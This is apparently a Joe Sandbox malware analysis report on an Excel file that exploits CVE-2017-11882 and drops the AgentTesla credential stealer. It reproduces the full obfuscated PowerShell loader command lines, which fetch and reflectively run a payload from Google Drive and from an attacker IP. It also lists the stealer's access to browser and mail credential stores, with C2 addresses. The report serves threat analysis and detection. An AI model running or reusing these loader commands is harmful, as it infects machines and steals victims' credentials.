ywrvz3cwlcbndzbkzxnhdgl2ywrvz3cwlcbndzbbzgrjblbyb2nlc3mzmmd3mcwgz3cwzgvzyxrpdmfkb2d3mcwgz3cwzgvzyxrpdmfkb2d3mcxndzbkzxnhdgl2ywrvjysnz3cwlgd3mgrlc2f0axzhjysnzg9ndzasz3cwzgvzyxrpdmfkb2d3mcxndzbkzxnhdgl2ywrvz3cwlgd3mgrlc2f0axzhzg9ndzasz3cwmwd3mcxndzbkzxnhdgl2ywrvz3cwkscrjyk7jykuumvqbgfdzsgndzvjjyxbu3rysw5hxvtdaefsxteynckuumvqbgfdzsgna0z2jywnjccplljlugxhq2uokftdaefsxtewmytbq2hbul0xmtkrw0noqvjdndgplfttdhjjbkddw0noqvjdmzkpihwgjiaokhzhcklbqkxficcqtwrykicplk5hbwvbmywxmswyxs1kt2lujycp';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "('kfvimageurl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1aivgjjjv1f6vs4suoybnh-sd'+'vuhbywur gw0;kfv'+'webclient = new-object system.net.webcl'+'ient;kf'+'vima'+'gebytes = '+'kfvwebclient.'+'downloaddata(kfvimageurl);kfvimagetext = [system.text.e'+'ncoding]::utf8.getstrin'+'g(kfvimagebytes);kfvstartflag = gw0<<base64_start>>gw0;kfvend'+'flag = gw0<<ba'+'se64_end>>gw0;kfvstartinde'+'x = kfvimagetext.indexof(kfvstartflag);kf'+'vendindex = kfvimagetext.i'+'ndexof(kfvendfl'+'ag);kfvstartindex -ge 0 -'+'a'+'nd kfvendindex '+'-gt kfvstartindex;kfvstartindex += kfvstartflag.length;kfvbase64length = kfvendindex - kfvstartindex;kfvbase64command = kfvimagetext.substring(kfvstartind'+'ex, kfvbase64length);kfvbase64reversed = -join (kfvbase64command.tochararray()'+' w5'+'c foreach-object { kfv_ })[-1..-(kfvbase64command.length)];kfvcommandbytes = [system.convert]::from'+'base64string(kfvbase64reverse'+'d);kfvloadedassembly = [syste'+'m.reflection.assembly]::load(kfvcommandbytes);kfvvaimethod = [dnlib.io.home].getmethod(gw0vaigw0);kfvvaimethod.invoke(kfv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0addinprocess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').replace('w5c',[string][char]124).replace('kfv','$').replace(([char]103+[char]119+[char]48),[string][char]39) \| & ((variable 'mdr').name[3,11,2]-join'')"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcdrrnzpbwfnzvvybccrjya9iccrj2d3mgh0dhbzoi8vzhjpdmuuz29vz2xllicrj2nvjysnbs91yz9lehankydvcnq9zg93bmxvywqmawq9mufjvmdkskp2muy2dlm0c1vpewjusc1zrccrj3zvaejzd3vyigd3mdtrrnynkyd3zwjdbgllbnqgpsbozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2wnkydpzw50o2tgjysndmltyscrj2dlqnl0zxmgpsankydrrnz3zwjdbgllbnqujysnrg93bmxvywreyxrhkgtgdmltywdlvxjskttrrnzpbwfnzvrlehqgpsbbu3lzdgvtllrlehqurscrj25jb2rpbmddojpvvey4lkdldfn0cmlujysnzyhrrnzpbwfnzuj5dgvzkttrrnzzdgfydezsywcgpsbndza8pejbu0u2nf9tvefsvd4+z3cwo2tgdmvuzccrj0zsywcgpsbndza8pejbjysnu0u2nf9ftkq+pmd3mdtrrnzzdgfydeluzgunkyd4id0ga0z2aw1hz2vuzxh0lkluzgv4t2yoa0z2c3rhcnrgbgfnkttrricrj3zlbmrjbmrleca9igtgdmltywdlvgv4dc5jjysnbmrlee9mkgtgdmvuzezsjysnywcpo2tgdnn0yxj0sw5kzxgglwdlidaglscrj2enkyduzcbrrnzlbmrjbmrlecankyctz3qga0z2c3rhcnrjbmrledtrrnzzdgfydeluzgv4ics9igtgdnn0yxj0rmxhzy5mzw5ndgg7a0z2ymfzzty0tgvuz3roid0ga0z2zw5ksw5kzxgglsbrrnzzdgfydeluzgv4o2tgdmjhc2u2nenvbw1hbmqgpsbrrnzpbwfnzvrlehquu3vic3ryaw5nkgtgdnn0yxj0sw5kjysnzxgsigtgdmjhc2u2nexlbmd0ack7a0z2ymfzzty0umv2zxjzzwqgpsatam9pbiaoa0z2ymfzzty0q29tbwfuzc5ub0noyxjbcnjhesgpjysnihc1jysnyybgb3jfywnolu9iamvjdcb7igtgdl8gfslblteuli0oa0z2ymfzzty0q29tbwfuzc5mzw5ndggpxttrrnzjb21tyw5kqnl0zxmgpsbbu3lzdgvtlknvbnzlcnrdojpgcm9tjysnqmfzzty0u3ryaw5nkgtgdmjhc2u2nfjldmvyc2unkydkkttrrnzsb2fkzwrbc3nlbwjsesa9ifttexn0zscrj20uumvmbgvjdglvbi5bc3nlbwjsev06okxvywqoa0z2y29tbwfuzej5dgvzkttrrnz2ywlnzxrob2qgpsbbzg5sawiusu8usg9tzv0ur2v0twv0ag9kkgd3mfzbswd3mck7a0z2dmfptwv0ag9klkludm9rzshrrnynkydudwxslcbakgd3mhr4dc5hywfhywjld21hzgftlzmxljenkyczlji3ms43mccrjzevlzpwdhrojysnz3cwlcbndzbkzscrj3nhdgl2ywrvz3cwlcbndzbkzscrj3nhdgl2ywrvz3cwlcbndzbkzxnhdgl2ywrvz3cwlcbndzbbzgrjblbyb2nlc3mzmmd3mcwgz3cwzgvzyxrpdmfkb2d3mcwgz3cwzgvzyxrpdmfkb2d3mcxndzbkzxnhdgl2ywrvjysnz3cwlgd3mgrlc2f0axzhjysnzg9ndzasz3cwzgvzyxrpdmfkb2d3mcxndzbkzxnhdgl2ywrvz3cwlgd3mgrlc2f0axzhzg9ndzasz3cwmwd3mcxndzbkzxnhdgl2ywrvz3cwkscrjyk7jykuumvqbgfdzsgndzvjjyxbu3rysw5hxvtdaefsxteynckuumvqbgfdzsgna0z2jywnjccplljlugxhq2uokftdaefsxtewmytbq2hbul0xmtkrw0noqvjdndgplfttdhjjbkddw0noqvjdmzkpihwgjiaokhzhcklbqkxficcqtwrykicplk5hbwvbmywxmswyxs1kt2lujycp';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "('kfvimageurl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1aivgjjjv1f6vs4suoybnh-sd'+'vuhbywur gw0;kfv'+'webclient = new-object system.net.webcl'+'ient;kf'+'vima'+'gebytes = '+'kfvwebclient.'+'downloaddata(kfvimageurl);kfvimagetext = [system.text.e'+'ncoding]::utf8.getstrin'+'g(kfvimagebytes);kfvstartflag = gw0<<base64_start>>gw0;kfvend'+'flag = gw0<<ba'+'se64_end>>gw0;kfvstartinde'+'x = kfvimagetext.indexof(kfvstartflag);kf'+'vendindex = kfvimagetext.i'+'ndexof(kfvendfl'+'ag);kfvstartindex -ge 0 -'+'a'+'nd kfvendindex '+'-gt kfvstartindex;kfvstartindex += kfvstartflag.length;kfvbase64length = kfvendindex - kfvstartindex;kfvbase64command = kfvimagetext.substring(kfvstartind'+'ex, kfvbase64length);kfvbase64reversed = -join (kfvbase64command.tochararray()'+' w5'+'c foreach-object { kfv_ })[-1..-(kfvbase64command.length)];kfvcommandbytes = [system.convert]::from'+'base64string(kfvbase64reverse'+'d);kfvloadedassembly = [syste'+'m.reflection.assembly]::load(kfvcommandbytes);kfvvaimethod = [dnlib.io.home].getmethod(gw0vaigw0);kfvvaimethod.invoke(kfv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0addinprocess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').replace('w5c',[string][char]124).replace('kfv','$').replace(([char]103+[char]119+[char]48),[string][char]39) \| & ((variable 'mdr').name[3,11,2]-join'')"	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 8.2.powershell.exe.723ab28.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.powershell.exe.723ab28.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.525088434.000000000723A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 3136, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 8.2.powershell.exe.723ab28.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.powershell.exe.723ab28.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.525088434.000000000723A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.628239471.00000000023C5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 3136, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 8.2.powershell.exe.723ab28.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.powershell.exe.723ab28.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.525088434.000000000723A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 3136, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	211 Scripting	Valid Accounts	121 Windows Management Instrumentation	211 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	23 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	43 Exploitation for Client Execution	1 DLL Side-Loading	211 Process Injection	11 Deobfuscate/Decode Files or Information	1 Input Capture	24 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	121 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	421 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	Login Hook	1 Install Root Certificate	NTDS	1 Process Discovery	Distributed Component Object Model	1 Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	151 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Modify Registry	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	151 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	211 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
transferencia interbancaria_66579.xlam.xlsx	63%	ReversingLabs	Document-Office.Exploit.CVE-2017-11882
transferencia interbancaria_66579.xlam.xlsx	100%	Avira	EXP/CVE-2017-11882.Gen

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
http://crl.entrust.net/server1.crl0	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
http://ip-api.com	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://secure.comodo.com/CPS0	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe
http://ip-api.com/line/?fields=hosting	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	216.58.212.174	true	false	unknown
drive.usercontent.google.com	142.250.186.97	true	false	unknown
ip-api.com	208.95.112.1	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://107.172.31.13/NIGHTTTTMPDW-constraints.vbs	true		unknown
http://107.172.31.13/madamwebaaaaa.txt	true		unknown
http://ip-api.com/line/?fields=hosting	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000008.00000002.520246237.0000000003319000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://account.dyn.com/	powershell.exe, 00000008.00000002.525088434.000000000723A000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.entrust.net/server1.crl0	powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.entrust.net03	powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000008.00000002.520246237.0000000003319000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000008.00000002.520246237.0000000003319000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000008.00000002.520246237.0000000003319000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ip-api.com	AddInProcess32.exe, 00000009.00000002.628239471.000000000244C000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.628239471.0000000002430000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.628239471.0000000002391000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000008.00000002.520246237.0000000003319000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.google.com	powershell.exe, 00000008.00000002.520246237.000000000242B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.usercontent.google.com	powershell.exe, 00000008.00000002.520246237.000000000256C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.diginotar.nl/cps/pkioverheid0	powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.entrust.net0D	powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000006.00000002.571025263.00000000021D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.520246237.00000000022F1000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.628239471.0000000002430000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.628239471.0000000002391000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.google.	powershell.exe, 00000008.00000002.519947637.0000000000330000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.519947637.0000000000383000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://secure.comodo.com/CPS0	powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.microsoft.co	wscript.exe, 00000005.00000003.471806519.0000000002B12000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.472214860.0000000002B13000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://107.172.31.13/NIGHTTTTMPDW-constraints.vbsj	EQNEDT32.EXE, 00000002.00000002.472683807.0000000003560000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.entrust.net/2048ca.crl0	powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	true
107.172.31.13	unknown	United States	36352	AS-COLOCROSSINGUS	true
216.58.212.174	drive.google.com	United States	15169	GOOGLEUS	false
142.250.186.97	drive.usercontent.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1540840
Start date and time:	2024-10-24 08:57:17 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	transferencia interbancaria_66579.xlam.xlsx
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winXLSX@10/10@3/4
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 97% Number of executed functions: 50 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe
Execution Graph export aborted for target powershell.exe, PID 3884 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: transferencia interbancaria_66579.xlam.xlsx

Simulations

Behavior and APIs

Time	Type	Description
02:59:02	API Interceptor	71x Sleep call for process: EQNEDT32.EXE modified
02:59:05	API Interceptor	372x Sleep call for process: powershell.exe modified
02:59:05	API Interceptor	6x Sleep call for process: wscript.exe modified
02:59:27	API Interceptor	7x Sleep call for process: AddInProcess32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	Orden de Compra No. 78986756565344657.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	OUTSTANDING PAYMENT STATUS 01199241024.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	ip-api.com/line/?fields=hosting
	Circular_no_088_Annexure_pdf.html	Get hash	malicious	HTMLPhisher	Browse	ip-api.com/json/?fields=status,country,regionName,city,query
	RTGS_UCB_DCCB_docx.html	Get hash	malicious	HTMLPhisher	Browse	ip-api.com/json/?fields=status,country,regionName,city,query
	aoKTzGQSRP.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	7EdXVD16wd.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	faBnX3uZqr.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	NxR7UQaeKe.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	yNDotZsd7U.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	MMsRQ2p7RL.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
107.172.31.13	Comprovante_Swift.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	107.172.31.13/emmmbig.txt
	OC 20240813.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	107.172.31.13/latinAmex.txt
	pedido de compra.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	107.172.31.13/latinAmex.txt
	03286786476_formulario bancario.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	107.172.31.13/latinAmex.txt
	Nuevo orden.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	107.172.31.13/latinAmex.txt
	OC 20240814.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	107.172.31.13/emmmbig.txt
	Orden de compra.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	107.172.31.13/HUHUHUHUHUHUHUHUHUHHUUHUSBY.txt
	C#U00f3pia do comprovante de pagamento.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	107.172.31.13/huabandhusband.txt
	OC 20240912.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	107.172.31.13/latinAmex.txt
	lista de pedido de compra 202400813.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	107.172.31.13/latinAmex.txt

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	Orden de Compra No. 78986756565344657.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	OUTSTANDING PAYMENT STATUS 01199241024.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
